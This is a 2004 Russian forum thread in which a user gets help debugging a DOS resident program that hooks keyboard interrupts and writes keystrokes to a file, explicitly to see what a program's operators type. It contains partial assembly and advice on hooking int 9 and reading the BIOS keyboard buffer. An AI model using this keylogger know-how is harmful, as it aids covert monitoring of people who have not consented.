Проблемы при перехвате BIOS прерывания клавиатуры в DOS проге

Тема в разделе "WASM.ASSEMBLER", создана пользователем ChelL, 1 сен 2004.

  1. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    Такая вот вещь понадобилась: прога под DOS. надо нажатые клавиши записывать в файлик - следить так сказать, чего люди нажимают. Я перехватываю прерывание BIOS, выполняю сачала его, а потом записываю нажатую клавишу. Но программа ведёт себя очень странно: под NC работает нормально, под VC: (Volkov Commander) вешается VC при попытке просмотреть какой-либо файл, а из DOS Navigatora вообще запускаться нехотит - сразу виснет Navigator
     
  2. Chingachguk

    Chingachguk New Member

    Публикаций:
    0
    Регистрация:
    2 сен 2002
    Сообщения:
    340
    Как ты записываешь данные в файл ? Контролируешь ли флаг занятости ДОС (int 28h) ? Вообще код приведи...
     
  3. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    ChelL



    Ну так в ДОС в файлы не всегда можно записывать. Особенно в программах обработки прерываний. Обычно скидывают все в память и в фоне пишут в файл.
     
  4. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    _Chingachguk_

    я проверяю флаг заятости DOS вот так:



    В основной программе:

    [QOUTE]

    ........

    ; poluchim adres flagov zaniatosti DOS i flaga kritich. oshibki

    mov ah, 34h

    int 21h

    dec bx ; umenshaem na 1 => ukazivaet na flag kritich. oshibki

    mov word ptr in_dos_addr, bx

    mov word ptr in_dos_addr+2, es

    [/QOUTE]



    [QOUTE]

    ; return CF=0-esli mogno polzovatsia funkciami DOS

    safe_check proc

    push es

    push cs

    pop ds



    les di, dword ptr in_dos_addr

    cmp word ptr es:[di], 0

    pop es

    jne safe_check_failed



    clc ; CF=0

    ret



    safe_check_failed:

    stc ;CF=1

    ret

    safe_check endp



    ; мой обработчик прерывания

    int16h_proc proc far

    jmp _jmpThrowData

    b_ah db ?

    _jmpThrowData:



    mov b_ah,ah

    pushf

    call dword ptr cs:int16h_oldhandl



    cmp b_ah, 0

    jz _Proced

    cmp b_ah, 10h

    jz _Proced

    cmp b_ah, 20h

    jnz _Exit



    _Proced:

    pusha

    push es

    push ds



    push cs

    pop ds





    cmp al, 0

    jz _extendetkey

    cmp al, 0E0h

    jz _extendetkey



    ;zapishem simvol: buffer-simvol,dx-adres buffer'a,cx-klo-vo simvolov

    mov buffer,al

    mov dx, offset buffer

    mov cx, 1

    cmp al, 0Dh

    jnz _write2file

    mov dx, offset eol

    mov cx, 2

    jmp _write2file



    _extendetkey:

    cmp ah, 48h

    jz _GreyKey1

    cmp ah, 50h

    jnz _extendedKey1

    _GreyKey1:

    mov dx, offset eol

    mov cx, 2

    jmp _write2file



    _extendedKey1:

    call GetExtended





    _write2file:

    ; проверим

    cli

    call safe_check

    sti

    jc _out__int16_proc



    call do_io ; вызов процедуры записи буффера (dx) в файл. в CX - количество записываемых файлов



    _out__int16_proc:

    pop ds

    pop es

    popa



    _Exit:

    iret

    int16h_proc endp

    [QOUTE]
     
  5. Chingachguk

    Chingachguk New Member

    Публикаций:
    0
    Регистрация:
    2 сен 2002
    Сообщения:
    340
    А, я понял ! ;) Ты возвращаешься из перехватчика iret, а надо - retf 2 или как-то иначе флаги сохранять.
     
  6. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    ChelL

    mov b_ah,ah -> mov cs:b_ah,ah ?
     
  7. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    valterg

    была такая идея...

    " и в фоне пишут в файл"

    в смысле в фоне?

    прогу не делать резидентной а запустиь цикл и раз в секунду проверять? а как прогу на секунду остановить?
     
  8. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    _Chingachguk_

    pushf я делаю для call dword ptr cs:int16h_oldhandl. А он вроде сам из стека удаляет флаги... или нет?
     
  9. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    ставил я retf 2 вместо ret - тот же результат :dntknw:
     
  10. Chingachguk

    Chingachguk New Member

    Публикаций:
    0
    Регистрация:
    2 сен 2002
    Сообщения:
    340
    Ёиоу !



    Смотри:



    pushf

    call dword ptr Old_Handler



    ; Сейчас флаг ZF вернулся из int 16h оригинального



    ...



    ; cmp или любые другие команды - портят его !



    ...



    iret ; Вообще выталкивает флаги из стека



    retf 2 ; Возвращает уже совсем другие флаги...
     
  11. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    так... что то не пойму я...

    то есть мне надо ещё раз после call dword ptr Old_Handler выполнить pushf, а при выходе из процедуры popf, т.е.

    ....

    pushf

    call dword ptr Old_Handler

    pushf

    .....

    _out__int16_proc:

    pop ds

    pop es

    popa



    _Exit:

    popf

    iret

    int16h_proc endp

    так надо сделать?
     
  12. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    так... что то не пойму я...

    то есть мне надо ещё раз после call dword ptr Old_Handler выполнить pushf, а при выходе из процедуры popf, т.е.

    ....

    pushf

    call dword ptr Old_Handler

    pushf

    .....

    _out__int16_proc:

    pop ds

    pop es

    popa



    _Exit:

    popf

    iret

    int16h_proc endp

    так надо сделать?
     
  13. Chingachguk

    Chingachguk New Member

    Публикаций:
    0
    Регистрация:
    2 сен 2002
    Сообщения:
    340
    Ну типа того. Тока вложение другое.

    push ds

    push es

    ...

    pushf

    call dword ptr OldHandler

    pushf

    ... ; do everything

    popf

    pop es

    pop ds

    retf 2
     
  14. Zombyte

    Zombyte New Member

    Публикаций:
    0
    Регистрация:
    13 апр 2004
    Сообщения:
    1
    Адрес:
    Russia
    CheIL,

    введи флаг проверки на активность int 13h:

    (новый обработчик int 13h может выглядеть так)

    pushf

    inc disk_flag

    call dword ptr cs:[old13_off];вызов старого 13h

    pushf

    dec disk_flag

    popf

    ret 2



    int 13h лучше не прерывать во время выполнения-оно нереентабильно.
     
  15. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    ChelL



    Нельзя в программе обработки прерываний писать в файл. Ты должен только писать в буфер и каким-то образом организовать фоновый процесс ( в ДОС-е вроде INT 2F этим заправляет), который будет это делать. Проверить, что дело именно в записи легко. На время убери его и проверь.
     
  16. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    Спасибо всем за советы - извините что с опозданием - приболел тут немного...



    Zombyte - спасибо, вставил и такую проверку.



    Valterg - да я и сам понимаю что плохо так делать, но просто оно и так вроде работает.



    Только почему-то оно работает только по VC, NC, или DOS Navigator.

    При вызове из чистого DOS - клавиши не перехватывает, и когда программу одну (есть тут нужная прога - из за неё весь сыр-бор и начался - надо узнать - что там операторы нажимают при работе с прогой) загружаеш - тоже - то что нажимается в программе не перехватывается. Почему? Что перехватить надо, что бы узнать?
     
  17. tylerdurden

    tylerdurden New Member

    Публикаций:
    0
    Регистрация:
    25 фев 2004
    Сообщения:
    322
    вешай запись в файл на int28h
     
  18. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    ChelL



    Ты перехватываешь INT 16 - это не самый верхний уровень.

    Есть еще INT 9 - прерывание от клавиатуры.

    Вот при его перехвате точно в файл писать нельзя.

    А чтобы узнать где и чем - SOFTICE и вперед.

    Кстати можно просто висеть на таймере и

    смотреть буфер клавиатуры :

    40:001a 2 Addr of keyboard buffer head

    (keystroke at that addr is next)

    40:001c 2 Address of keyboard buffer tail

    40:001e 32 Keyboard buffer. BIOS stores

    keystrokes here (head and tail

    point to addresses from 041eH

    to 043dH inclusive).

    Правда некоторые проги, работающие по INT 9,

    делают свой буфер. Тут опять нужен SoftIce.
     
  19. ChelL

    ChelL New Member

    Публикаций:
    0
    Регистрация:
    1 сен 2004
    Сообщения:
    12
    А если так сделать:

    перехватить 9 прерывание и заносить клавиши в буфер. Перехватить прерывание таймера и в нём записывать файл?
     
  20. Chingachguk

    Chingachguk New Member

    Публикаций:
    0
    Регистрация:
    2 сен 2002
    Сообщения:
    340
    Еще немного и я сяду сам писать эту прогу :)